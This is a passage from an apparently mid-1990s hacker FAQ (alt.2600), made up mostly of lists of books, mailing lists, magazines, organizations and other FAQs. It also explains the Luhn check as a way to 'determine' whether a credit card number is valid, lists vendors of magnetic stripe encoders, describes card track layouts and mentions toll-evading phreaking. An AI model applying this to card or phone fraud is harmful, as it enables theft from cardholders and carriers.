        Total garbage.  Paranoid delusions of a lunatic.  Less factual
        data that an average issue of the Enquirer.

  Information Warfare
  Author: Winn Swartau
  Publisher: Thunder Mountain Press
  Copyright Date: 1994
  ISBN: 1-56025-080-1

  An Illustrated Guide to the Techniques and Equipment of Electronic Warfare
  Author: Doug Richardson
  Publisher: Salamander Press
  Copyright Date:
  ISBN: 0-668-06497-8

10. What are some videos of interest to hackers?

  'Unauthorized Access' by Annaliza Savage
  $25 on VH S format in 38-min
  Savage Productions
  1803 Mission St., #406
  Santa Cruz, CA 95060

  Hacker's '95 - a Phon-E & R.F. Burns Production
  See the video Emmanuel Goldstein thought would have the Feds knocking
  at his door. Coverage of Summercon'95 Coverage of Defcon III The big Y
  fiasco at Summercon PMF (narc) interviews Emmanuel Goldstein & Eric
  BloodAxe. Trip to Area 51 and interview with Psyhospy Coverage of the
  Secret Service briefing on Operation Cyber Snare (recent cell busts)
  Talks on Crypto, HERF, the Feds, etc.  All information is presented
  for educational purposes only.  Not for sale to government or law
  enforcement organizations.  Running time aproximately 90 minutes.
  $25.00   NTSC VHS
  $35.00   PAL/Secam VHS
  Custom Video Productions
  (908)842-6378
  videocvp@ix.netcom.com

11. What are some mailing lists of interest to hackers?

  Academic Firewalls
  Registration Address: Send a message to majordomo@greatcircle.com
                        containing the line "subscribe firewalls user@host"

N The Alert
  Registration Address: Send a message to request-alert@iss.net
                        containing the line "subscribe alert"

  Bugtraq
  Reflector Address:    bugtraq@fc.net
  Registration Address: bugtraq-request@fc.net

  Cert Tools
  Reflector Address:    cert-tools@cert.org
  Registration Address: cert-tools-request@cert.org

  Computers and Society
  Reflector Address:    Comp-Soc@limbo.intuitive.com
  Registration Address: taylor@limbo.intuitive.com

  Coordinated Feasibility Effort to Unravel State Data
  Reflector Address:    ldc-sw@cpsr.org
  Registration Address:

  CPSR Announcement List
  Reflector Address:    cpsr-announce@cpsr.org
  Registration Address:

  CPSR - Intellectual Property
  Reflector Address:    cpsr-int-prop@cpsr.org
  Registration Address:

  CPSR - Internet Library
  Reflector Address:    cpsr-library@cpsr.org
  Registration Address:

N Cypherpunks
  Registration Address: Send a message to majordomo@toad.com
                        containing the line "subscribe cypherpunks"

  DefCon Announcement List
  Registration Address: Send a message to majordomo@fc.net containing
                        the line "subscribe dc-announce"

  DefCon Chat List
  Registration Address: Send a message to majordomo@fc.net containing
                        the line "subscribe dc-stuff"

N Discount Long Distance Digest
  Registration Address: Send a message to: dld-request@webcom.com
                        containing the line "subscribe"

  Electronic Payment
  Registration Address: e-payment@cc.bellcore.com

  IDS (Intruder Detection Systems)
  Registration Address: Send a message to majordomo@wyrm.cc.uow.edu.au
                        containing the line "subscribe ids"

N Information Warfare
  Registration Address: E-mail iw@all.net with a request to be added.

N Linux-Alert
  Registration Address: majordomo@linux.nrao.edu

N Linux-Security
  Registration Address: majordomo@linux.nrao.edu

  Macintosh Security
  Reflector Address:    mac-security@eclectic.com
  Registration Address: mac-security-request@eclectic.com

  NeXT Managers
  Registration Address: next-managers-request@stolaf.edu

  PGP3 announcement list
  Registration Address: pgp-announce-request@lsd.com
                        Subject: Your Name 
                        Body: *ignored*

  Phiber-Scream
  Registration Address: Send a message to listserv@netcom.com
                        containing the line "subscribe phiber-scream user@host"

  phruwt-l (Macintosh H/P)
  Registration Address: Send a message to filbert@netcom.com
                        with the subject "phruwt-l"

  rfc931-users
  Reflector Address:    rfc931-users@kramden.acf.nyu.edu
  Registration Address: brnstnd@nyu.edu

  RSA Users
  Reflector Address:    rsaref-users@rsa.com
  Registration Address: rsaref-users-request@rsa.com

  WWW Security
  Registration Address: www-security@ns2.rutgers.edu

12. What are some print magazines of interest to hackers?

2600 - The Hacker Quarterly
~~~~~~~~~~~~~~~~~~~~~~~~~~~
E-mail addresses: info@2600.com - to get info on 2600
                  index@2600.com - to get a copy of our index
                  meetings@2600.com - for info on starting your own meeting
                  subs@2600.com -- for subscription problems
                  letters@2600.com -- to send us a letter
                  articles@2600.com -- to send us an article
                  2600@2600.com -- to send us a general message

Subscription Address: 2600 Subscription Dept
                      PO Box 752
                      Middle Island, NY  11953-0752

Letters and article submission address: 2600 Editorial Dept
                                        PO Box 99
                                        Middle Island, NY  11953-0099

Phone Number: (516)751-2600
Fax Number: (516)474-2677
Voice BBS: (516)473-2626

Subscriptions: United States: $21/yr individual, $50 corporate.
               Overseas: $30/yr individual, $65 corporate.

Gray Areas
~~~~~~~~~~
Gray Areas examines gray areas of law and morality and subject matter
which is illegal, immoral and/or controversial. Gray Areas explores
why hackers hack and puts hacking into a sociological framework of
deviant behavior.

E-Mail Address: grayarea@well.sf.ca.us
E-Mail Address: grayarea@netaxs.com

U.S. Mail Address: Gray Areas
                   PO Box 808
                   Broomall, PA 19008

Subscriptions: $26.00 4 issues first class
               $34.00 4 issues foreign (shipped air mail)

Privacy Newsletter
~~~~~~~~~~~~~~~~~~
Privacy Newsletter is a monthly newsletter devoted to showing
consumers how to get privacy and keep it.

E-Mail Address: privacy@interramp.com

Subscription Address: Privacy Newsletter
                      P.O. Box 8206
                      Philadelphia, PA 19101-8206

Subscriptions: $99/yr (US)  $149/yr (Overseas)

Wired
~~~~~
Subscription Address: subscriptions@wired.com
                  or: Wired
                      PO Box 191826
                      San Francisco, CA 94119-9866

Letters and article submission address: guidelines@wired.com
                                    or: Wired
                                        544 Second Street
                                        San Francisco, CA 94107-1427

Subscriptions: $39/yr (US) $64/yr (Canada/Mexico) $79/yr (Overseas)

Nuts & Volts
~~~~~~~~~~~~
T& L Publications
430 Princeland Court
Corona, CA 91719
(800)783-4624 (Voice) (Subscription Only Order Line)
(909)371-8497 (Voice)
(909)371-3052 (Fax)
CIS: 74262,3664

Cybertek: The Cyberpunk Technical Journal
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
P.O. Box 64
Brewster, NY 10509

Frequency: Bimonthly
Domestic Subscription Rate: $15/year (6 issues)

PrivateLine
~~~~~~~~~~~
5150 Fair Oaks Blvd. #101-348
Carmichael, CA 95608 USA

E-Mail: privateline@delphi.com

Subscriptions: $24 a year for six issues

Text of back issues are at the etext archive at Michigan.  Gopher over
or ftp to: etext.archive.umich.edu/pub/Zines/PrivateLine


13. What are some e-zines of interest to hackers?

CoTNo: Communications of The New Order    ftp.etext.org  /pub/Zines/CoTNo
Empire Times                              ftp.etext.org  /pub/Zines/Emptimes
FEH                                       ftp.fc.net     /pub/defcon/FEH
The Infinity Concept                      infonexus.com
                                          /pub/Philes/Zines/TheInfinityConcept
Phrack                                    ftp.fc.net     /pub/phrack

14. What are some organizations of interest to hackers?

Computer Professionals for Social Responsibility (CPSR)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
CPSR empowers computer professionals and computer users to advocate for
the responsible use of information technology and empowers all who use
computer technology to participate in the public debate.   As technical
experts, CPSR members provide the public and policy makers with
realistic assessments of the power, promise, and limitations of computer
technology.  As an organization of concerned citizens, CPSR directs
public attention to critical choices concerning the applications of
computing and how those choices affect society.

By matching unimpeachable technical information with policy development
savvy, CPSR uses minimum dollars to have maximum impact and encourages
broad public participation in the shaping of technology policy.

Every project we undertake is based on five principles:

*  We foster and support public discussion of and public responsibility
   for decisions involving the use of computers in systems critical to
   society.

*  We work to dispel popular myths about the infallibility of
   technological systems.

*  We challenge the assumption that technology alone can solve political
   and social problems.

*  We critically examine social and technical issues within the computer
   profession, nationally and internationally.

*  We encourage the use of computer technology to improve the quality of
   life.

CPSR Membership Categories
  75  REGULAR MEMBER
  50  Basic member
 200  Supporting member
 500  Sponsoring member
1000  Lifetime member
  20  Student/low income member
  50  Foreign subscriber
  50  Library/institutional subscriber

CPSR National Office
P.O. Box 717
Palo Alto, CA  94301
415-322-3778
415-322-3798 (FAX)
E-mail: cpsr@csli.stanford.edu

Electronic Frontier Foundation (EFF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The Electronic Frontier Foundation (EFF) is dedicated to the pursuit
of policies and activities that will advance freedom and openness in
computer-based communications. It is a member-supported, nonprofit
group that grew from the conviction that a new public interest
organization was needed in the information age; that this organization
would enhance and protect the democratic potential of new computer
communications technology. From the beginning, the EFF determined to
become an organization that would combine technical, legal, and public
policy expertise, and would apply these skills to the myriad issues
and concerns that arise whenever a new communications medium is born.

Memberships are $20.00 per year for students, $40.00 per year for
regular members, and $100.00 per year for organizations.

The Electronic Frontier Foundation, Inc.
1001 G Street, NW
Suite 950 East
Washington, D.C. 20001
(202)544 9237
(202)547 5481 FAX
Internet: eff@eff.org

Free Software Foundation (FSF) and GNU
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The Free Software Foundation is dedicated to eliminating restrictions
on people's right to use, copy, modify, and redistribute computer
programs. We promote the development and use of free software in all
areas using computers.  Specifically, we are putting together a
complete, integrated software system named "GNU" ("GNU's Not Unix",
pronounced "guh-new") that will be upwardly compatible with Unix.
Most parts of this system are already being used and distributed.

The word "free" in our name refers to freedom, not price.  You may or
may not pay money to get GNU software, but regardless you have two
specific freedoms once you get it: first, the freedom to copy a
program and give it away to your friends and co-workers; and second,
the freedom to change a program as you wish, by having full access to
source code. You can study the source and learn how such programs are
written.  You may then be able to port it, improve it, and share your
changes with others.  If you redistribute GNU software you may charge
a distribution fee or give it away, so long as you include the source
code and the GPL (GNU General Public License).

Free Software Foundation, Inc.        Telephone: +1-617-876-3296
673 Massachusetts Avenue              Fax: +1-617-492-9057
Cambridge, MA 02139-3309 USA          Fax (in Japan): 0031-13-2473 (KDD)
Electronic mail: gnu@prep.ai.mit.edu                  0066-3382-0158 (IDC)

GNU is to be a complete integrated computational environment:
everything you need to work with a computer, either as a programmer or
as a person in an office or home.  The core is an operating system,
which consists of a central program called a kernel that runs the
other programs on the computer, and a large number of ancillary
programs for handling files, etc.  The Free Software Foundation is
developing an advanced kernel called the Hurd.

A complete system has tools for programmers, such as compilers and
debuggers.  It also has editors, sketchpads, calendars, calculators,
spreadsheets, databases, electronic mail readers, and Internet
navigators.  The FSF already distributes most of the programs used in
an operating system, all the tools regularly used by programmers, and
much more.

The League for Programming Freedom (LPF)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The League for Programming Freedom is an organization of people who
oppose the attempt to monopolize common user interfaces through "look
and feel" copyright lawsuits.  Some of us are programmers, who worry
that such monopolies will obstruct our work.  Some of us are users,
who want new computer systems to be compatible with the interfaces we
know.  Some are founders of hardware or software companies, such as
Richard P. Gabriel. Some of us are professors or researchers,
including John McCarthy, Marvin Minsky, Guy L. Steele, Jr., Robert S.
Boyer and Patrick Winston.

"Look and feel" lawsuits aim to create a new class of government-
enforced monopolies broader in scope than ever before.  Such a system
of user-interface copyright would impose gratuitous incompatibility,
reduce competition, and stifle innovation.

We in the League hope to prevent these problems by preventing
user-interface copyright.  The League is NOT opposed to copyright law
as it was understood until 1986 -- copyright on particular programs.
Our aim is to stop changes in the copyright system which would take
away programmers' traditional freedom to write new programs compatible
with existing programs and practices.

Annual dues for individual members are $42 for employed professionals,
$10.50 for students, and $21 for others.  We appreciate activists, but
members who cannot contribute their time are also welcome.

To contact the League, phone (617) 243-4091, send Internet mail to the
address league@prep.ai.mit.edu, or write to:

League for Programming Freedom
1 Kendall Square #143
P.O. Box 9171
Cambridge, MA 02139 USA

SotMesc
~~~~~~~
Founded in 1989, SotMesc is dedicated to preserving the integrity and
cohesion of the computing society.  By promoting computer education,
liberties and efficiency, we believe we can secure freedoms for all
computer users while retaining privacy.

SotMesc maintains the CSP Internet mailing list, the SotMesc
Scholarship Fund, and the SotMesc Newsletter.

The SotMESC is financed partly by membership fees, and donations, but
mostly by selling hacking, cracking, phreaking, electronics, internet,
and virus information and programs on disk and bound paper media.

SotMesc memberships are $20 to students and $40 to regular members.

SotMESC
P.O. Box 573
Long Beach, MS  39560

Computer Emergency Response Team (CERT
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

CERT is the Computer Emergency Response Team that was formed by the
Defense Advanced Research Projects Agency (DARPA) in November 1988 in
response to the needs exhibited during the Internet worm incident.
The CERT charter is to work with the Internet community to facilitate
its response to computer security events involving Internet hosts, to
take proactive steps to raise the community's awareness of computer
security issues, and to conduct research targeted at improving the
security of existing systems.

CERT products and services include 24-hour technical assistance for
responding to computer security incidents, product vulnerability
assistance, technical documents, and seminars.  In addition, the team
maintains a number of mailing lists (including one for CERT
advisories) and provides an anonymous FTP server:  cert.org
(192.88.209.5), where security-related documents, past CERT
advisories, and tools are archived.

CERT contact information:

U.S. mail address
  CERT Coordination Center
  Software Engineering Institute
  Carnegie Mellon University
  Pittsburgh, PA 15213-3890
  U.S.A.

Internet E-mail address
  cert@cert.org

Telephone number
  (412)268-7090 (24-hour hotline)
  CERT Coordination Center personnel answer
  7:30 a.m.- 6:00 p.m. EST(GMT-5)/EDT(GMT-4), on call for
  emergencies during other hours.

FAX number
  (412)268-6989

15. What are some radio programs of interest to hackers?

Off The Hook          New York      99.5 FM                       Tue  8pm EST
Full Disclosure Live  Short Wave    WWCR 5065 khz                 Sun  8pm EST
Full Disclosure Live  Oil City, PA  WOYL AM-1340                  Sun  8pm EST
Full Disclosure Live  Satellite     Telstar 302 (T2), Ch 21, 5.8  Sun  8pm EST

16. What are other FAQ's of interest to hackers?

Frequently Asked Questions "Hacking Novell Netware"
Author: Simple Nomad 
ftp: jumper.mcc.ac.uk    /pub/security/netware/faq.zip
ftp: ftp.fastlane.net    /pub/nomad/nw/faq.zip
ftp: ftp.best.com        /pub/almcepud/hacks/faq.zip
http://resudox.net/bio/mainpage.html
http://www.hookup.net/~apayne/nwhack.html

The PGP Attack FAQ
Author: Route [daemon9@netcom.com / route@infonexus.com]
ftp: infonexus.com /pub/Philes/Cryptography/PGPattackFAQ.txt.gz

Mac Hack FAQ: Defeating Security
Author: AX1P (an149689@anon.penet.fi)

Frequently Asked Questions About Red Boxing
Author: Mr. Sandman (an132432@anon.penet.fi)

VMS FAQ (Frequently Ask Questions)
Author: The Beaver (beaver@upperdck.blkbox.com)

Anonymous FTP FAQ
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/anonftp

Compromise FAQ: What if your Machines are Compromised by an Intruder
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/compromise

Security Patches FAQ
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/patch

Sniffer FAQ
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/sniff

Vendor Security Contacts: Reporting Vulnerabilities and Obtaining New Patches
Author: Christopher Klaus  of Internet Security Systems, Inc.
ftp: ftp.iss.net    /pub/faq/vendor

Cryptography FAQ
Author: The Crypt Cabal
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

Firewalls FAQ
Author: Marcus J. Ranum (mjr@ss1.lightspeed.net)
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.security.misc/

Buying a Used Scanner Radio
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

How to Find Scanner Frequencies
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Introduction to Scanning
Author: parnass@att.com (Bob Parnass, AJ9S)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.radio.scanner/

Low Power Broadcasting FAQ
Author: Rick Harrison.
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.radio.pirate/

RSA Cryptography Today FAQ
Author: Paul Fahn
ftp: rtfm.mit.edu /pub/usenet-by-group/sci.crypt/

VIRUS-L comp.virus Frequently Asked Questions (FAQ)
Author: Kenneth R. van Wyk 
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.virus/

Where to get the latest PGP (Pretty Good Privacy) FAQ
Author: mpj@csn.net (Michael Johnson)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.security.pgp/

alt.locksmithing answers to Frequently Asked Questions (FAQ)
Author: spike@indra.com (Joe Ilacqua)
ftp: rtfm.mit.edu /pub/usenet-by-group/alt.locksmithing/

comp.os.netware.security FAQ
Author: Fauzan Mirza 
ftp: rtfm.mit.edu /pub/usenet-by-group/comp.os.netware.security/

rec.pyrotechnics FAQ
Author: zoz@cs.adelaide.edu.au (Hans Josef Wagemueller)
ftp: rtfm.mit.edu /pub/usenet-by-group/rec.pyrotechnics/

17. Where can I purchase a magnetic stripe encoder/decoder?

CPU Advance
PO Box 2434
Harwood Station
Littleton, MA  01460
(508)624-4819 (Fax)

Omron Electronics, Inc.
One East Commerce Drive
Schaumburg, IL  60173
(800)556-6766 (Voice)
(708)843-7787 (Fax)

Security Photo Corporation
1051 Commonwealth Avenue
Boston, MA 02215
(800)533-1162 (Voice)
(617)783-3200 (Voice)
(617)783-1966 (Voice)

Timeline Inc,
23605 Telo Avenue
Torrence, CA 90505
(800)872-8878 (Voice)
(800)223-9977 (Voice)

Alltronics
2300 Zanker Road
San Jose CA 95131
(408) 943-9774 Voice
(408) 943-9776 Fax
(408) 943-0622 BBS
Part Number: 92U067

Atalla Corp
San Jose, CA
(408) 435-8850

18. What are the rainbow books and how can I get them?

Orange Book
DoD 5200.28-STD
Department of Defense Trusted Computer System Evaluation Criteria

Green Book
CSC-STD-002-85
Department of Defense Password Management Guideline

Yellow Book
CSC-STD-003-85
Computer Security Requirements -- Guidance for Applying the Department
of Defense Trusted Computer System Evaluation Criteria in Specific
Environments

Yellow Book
CSC-STD-004-85
Technical Rationale Behind CSC-STD-003-85: Computer Security
Requirements.  Guidance for Applying the Department of Defense Trusted
Computer System Evaluation Criteria in Specific Environments.

Tan Book
NCSC-TG-001
A Guide to Understanding Audit in Trusted Systems

Bright Blue Book
NCSC-TG-002
Trusted Product Evaluation - A Guide for Vendors

Neon Orange Book
NCSC-TG-003
A Guide to Understanding Discretionary Access Control in Trusted
Systems

Teal Green Book
NCSC-TG-004
Glossary of Computer Security Terms

Red Book
NCSC-TG-005
Trusted Network Interpretation of the Trusted Computer System
Evaluation Criteria

Orange Book
NCSC-TG-006
A Guide to Understanding Configuration Management in Trusted Systems

Burgundy Book
NCSC-TG-007
A Guide to Understanding Design Documentation in Trusted Systems

Dark Lavender Book
NCSC-TG-008
A Guide to Understanding Trusted Distribution in Trusted Systems

Venice Blue Book
NCSC-TG-009
Computer Security Subsystem Interpretation of the Trusted Computer
System Evaluation Criteria

Aqua Book
NCSC-TG-010
A Guide to Understanding Security Modeling in Trusted Systems

Dark Red Book
NCSC-TG-011
Trusted Network Interpretation Environments Guideline -- Guidance for
Applying the Trusted Network Interpretation

Pink Book
NCSC-TG-013
Rating Maintenance Phase -- Program Document

Purple Book
NCSC-TG-014
Guidelines for Formal Verification Systems

Brown Book
NCSC-TG-015
A Guide to Understanding Trusted Facility Management

Yellow-Green Book
NCSC-TG-016
Guidelines for Writing Trusted Facility Manuals

Light Blue
NCSC-TG-017
A Guide to Understanding Identification and Authentication in Trusted
Systems

Light Blue Book
NCSC-TG-018
A Guide to Understanding Object Reuse in Trusted Systems

Blue Book
NCSC-TG-019
Trusted Product Evaluation Questionnaire

Gray Book
NCSC-TG-020A
Trusted Unix Working Group (TRUSIX) Rationale for Selecting
Access Control List Features for the Unix System

Lavender Book
NCSC-TG-021
Trusted Data Base Management System Interpretation of the Trusted
Computer System Evaluation Criteria

Yellow Book
NCSC-TG-022
A Guide to Understanding Trusted Recovery in Trusted Systems

Bright Orange Book
NCSC-TG-023
A Guide to Understandng Security Testing and Test Documentation in
Trusted Systems

Purple Book
NCSC-TG-024  (Volume 1/4)
A Guide to Procurement of Trusted Systems: An Introduction to
Procurement Initiators on Computer Security Requirements

Purple Book
NCSC-TG-024 (Volume 2/4)
A Guide to Procurement of Trusted Systems: Language for RFP
Specifications and Statements of Work - An Aid to Procurement
Initiators

Purple Book
NCSC-TG-024  (Volume 3/4)
A Guide to Procurement of Trusted Systems: Computer Security Contract
Data Requirements List and Data Item Description Tutorial

+Purple Book
+NCSC-TG-024  (Volume 4/4)
+A Guide to Procurement of Trusted Systems: How to Evaluate a Bidder's
+Proposal Document - An Aid to Procurement Initiators and Contractors

Green Book
NCSC-TG-025
A Guide to Understanding Data Remanence in Automated Information
Systems

Hot Peach Book
NCSC-TG-026
A Guide to Writing the Security Features User's Guide for Trusted Systems

Turquiose Book
NCSC-TG-027
A Guide to Understanding Information System Security Officer
Responsibilities for Automated Information Systems

Violet Book
NCSC-TG-028
Assessing Controlled Access Protection

Blue Book
NCSC-TG-029
Introduction to Certification and Accreditation

Light Pink Book
NCSC-TG-030
A Guide to Understanding Covert Channel Analysis of Trusted Systems

C1 Technical Report-001
Computer Viruses: Prevention, Detection, and Treatment

*C Technical Report 79-91
*Integrity in Automated Information Systems

*C Technical Report 39-92
*The Design and Evaluation of INFOSEC systems: The Computer Security
*Contributions to the Composition Discussion

NTISSAM COMPUSEC/1-87
Advisory Memorandum on Office Automation Security Guideline

--

You can get your own free copy of any or all of the books by writing
or calling:

       INFOSEC Awareness Division
       ATTN: X711/IAOC
       Fort George G. Meade, MD  20755-6000

       Barbara Keller
       (410) 766-8729

If you ask to be put on the mailing list, you'll get a copy of each new
book as it comes out (typically a couple a year).

[* == I have not personally seen this book]
[+ == I have not personally seen this book, and I believe it may not]
[     be available]

Section E: 2600
~~~~~~~~~~~~~~~

01. What is alt.2600?

Alt.2600 is a Usenet newsgroup for discussion of material relating to
2600 Magazine, the hacker quarterly.   It is NOT for the Atari 2600
game machine.  Len@netsys.com created the group on Emmanuel
Goldstein's recommendation.  Emmanuel is the editor/publisher of 2600
Magazine. Following the barrage of postings about the Atari machine to
alt.2600, an alt.atari.2600 was created to divert all of the atari
traffic from alt.2600.  Atari 2600 people are advised to hie over to
rec.games.video.classic.

02. What does "2600" mean?

        2600Hz was a tone that was used by early phone phreaks (or
phreakers) in the 80's, and some currently.  If the tone was sent down the
line at the proper time, one could get away with all sorts of fun stuff.

A note from Emmanuel Goldstein:

"The Atari 2600 has NOTHING to do with blue boxes or telephones
or the 2600 hertz tone.  The 2600 hertz tone was simply the first
step towards exploring the network.  If you were successful at
getting a toll call to drop, then billing would stop at that
point but there would be billing for the number already dialed
up until the point of seizure.  800 numbers and long distance
information were both free in the past and records of who called
what were either non-existent or very obscure with regards to
these numbers.  This, naturally, made them more popular than
numbers that showed up on a bill, even if it was only for
a minute.  Today, many 800 numbers go overseas, which provides
a quick and free way into another country's phone system
which may be more open for exploration."

03. Are there on-line versions of 2600 available?

        No.

04. I can't find 2600 at any bookstores.  What can I do?

Subscribe.  Or, let 2600 know via the subscription address that you
think 2600 should be in the bookstore.  Be sure to include the
bookstores name and address.

05. Why does 2600 cost more to subscribe to than to buy at a newsstand?

A note from Emmanuel Goldstein:

  We've been selling 2600 at the same newsstand price ($4) since 1988
  and we hope to keep it at that price for as long as we can get away
  with it. At the same time, $21 is about the right price to cover
  subscriber costs, including postage and record keeping, etc. People
  who subscribe don't have to worry about finding an issue someplace,
  they tend to get issues several weeks before the newsstands get
  them, and they can take out free ads in the 2600 Marketplace.

  This is not uncommon in the publishing industry.  The NY Times, for
  example, costs $156.50 at the newsstands, and $234.75 delivered to your
  door.

Section F: Miscellaneous
~~~~~~~~~~~~~~~~~~~~~~~~

01. What does XXX stand for?

TLA     Three Letter Acronym

ACL     Access Control List
PIN     Personal Identification Number
TCB     Trusted Computing Base

ALRU    Automatic Line Record Update
AN      Associated Number
ARSB    Automated Repair Service Bureau
ATH     Abbreviated Trouble History
BOC     Bell Operating Company
BOR     Basic Output Report
BOSS    Business Office Servicing System
CA      Cable
COE     Central Office Equipment
COSMOS  Computer System for Main Frame Operations
CMC     Construction Maintenance Center
CNID    Calling Number IDentification
CO      Central Office
COCOT   Customer Owned Coin Operated Telephone
CRSAB   Centralized Repair Service Answering Bureau
DID     Direct Inbound Dialing
DDD     Direct Distance Dialing
ECC     Enter Cable Change
LD      Long Distance
LMOS    Loop Maintenance Operations System
MLT     Mechanized Loop Testing
NPA     Numbering Plan Area
PBX     Private Branch Exchange
POTS    Plain Old Telephone Service
RBOC    Regional Bell Operating Company
RSB     Repair Service Bureau
SS      Special Service
TAS     Telephone Answering Service
TH      Trouble History
TREAT   Trouble Report Evaluation and Analysis Tool

LOD     Legion of Doom
HFC     Hell Fire Club
TNO     The New Order

ACiD    Ansi Creators in Demand
CCi     Cybercrime International
FLT     Fairlight
iCE     Insane Creators Enterprise
iNC     International Network of Crackers
NTA     The Nocturnal Trading Alliance
PDX     Paradox
PE      Public Enemy
PSY     Psychose
QTX     Quartex
RZR     Razor (1911)
S!P     Supr!se Productions
TDT     The Dream Team
THG     The Humble Guys
THP     The Hill People
TRSI    Tristar Red Sector Inc.
UUDW    Union of United Death Workers

02. How do I determine if I have a valid credit card number?

Credit cards use the Luhn Check Digit Algorithm.  The main purpose of
this algorithm is to catch data entry errors, but it does double duty
here as a weak security tool.

For a card with an even number of digits, double every odd numbered
digit and subtract 9 if the product is greater than 9.  Add up all the
even digits as well as the doubled-odd digits, and the result must be
a multiple of 10 or it's not a valid card.  If the card has an odd
number of digits, perform the same addition doubling the even numbered
digits instead.

03. What is the layout of data on magnetic stripe cards?

A standard card may have any of three tracks, or a combination of these
tracks.

Track 1 was the first track standardized.  It was developed by the
International Air Transportation Association (IATA) and is still
reserved for their use.  It is 210bpi with room for 79 characters.  It
includes the primary account number (up to 18 digits) and the name (up
to 26 alphanumeric characters).

Track 2 was developed by the American Bankers Association (ABA) for
on-line financial transactions.  It is 75bpi with room for 40 numeric
characters.  It includes the account number (up to 19 digits).

Track 3 is also used for financial transactions.  The difference is its
read/write ability.  It is 210bpi with room for 107 numeric digits.  It
includes an enciphered PIN, country code, currency units, amount
authorized, subsidiary account information and other restrictions.

For more information, read the ANSI/ISO 7811/1-5 standard.  This
document is available from the American Bankers Association.

04. What are the ethics of hacking?

An excerpt from: Hackers: Heroes of the Computer Revolution
                          by Steven Levy

        Access to computers -- and anything which might teach you
        something about the way the world works -- should be unlimited
        and total. Always yield to the Hands-On imperative.

        All information should be free.

        Mistrust Authority.  Promote Decentralization.

        Hackers should be judged by their hacking, not bogus criteria
        such as degrees, age, race, or position.

        You can create art and beauty on a computer.

        Computers can change your life for the better.

05. Where can I get a copy of the alt.2600/#hack FAQ?

Get it on FTP at:
rahul.net      /pub/lps/sysadmin/
rtfm.mit.edu   /pub/usenet-by-group/alt.2600
clark.net      /pub/jcase/

Get it on the World Wide Web at:
http://www.engin.umich.edu/~jgotts/underground/hack-faq.html

Get it on my BBS:
Hacker's Haven (303)343-4053

EOT